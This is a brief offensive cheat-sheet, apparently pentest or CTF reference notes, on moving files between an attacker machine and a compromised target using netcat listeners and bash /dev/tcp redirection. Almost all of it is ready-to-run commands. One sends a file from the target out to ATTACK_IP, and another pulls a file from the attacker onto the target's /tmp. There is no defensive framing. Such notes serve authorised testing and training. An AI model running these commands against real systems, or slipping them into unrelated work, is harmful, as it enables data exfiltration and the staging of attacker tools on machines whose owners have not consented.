Netcat

Transfer files with Netcat

Attacker Machine:

nc -lvnp PORT > FILE

Target Machine

nc OUR_IP < FILE

Use bash TCP socket to transfer a file if netcat is NOT installed on the target machine

Transfer to Attacker Machine

Attacker Machine:

nc -lvnp PORT > file.txt

Target Machine

bash -c 'cat /path/to/file.txt >& /dev/tcp/ATTACK_IP/PORT 0>&1'

Transfer to Target Machine

Attacker Machine

nc -lvnp < file.txt

Target Machine

bash -c 'cat < /dev/tcp/ATTACK_IP/PORT > /tmp/output-file'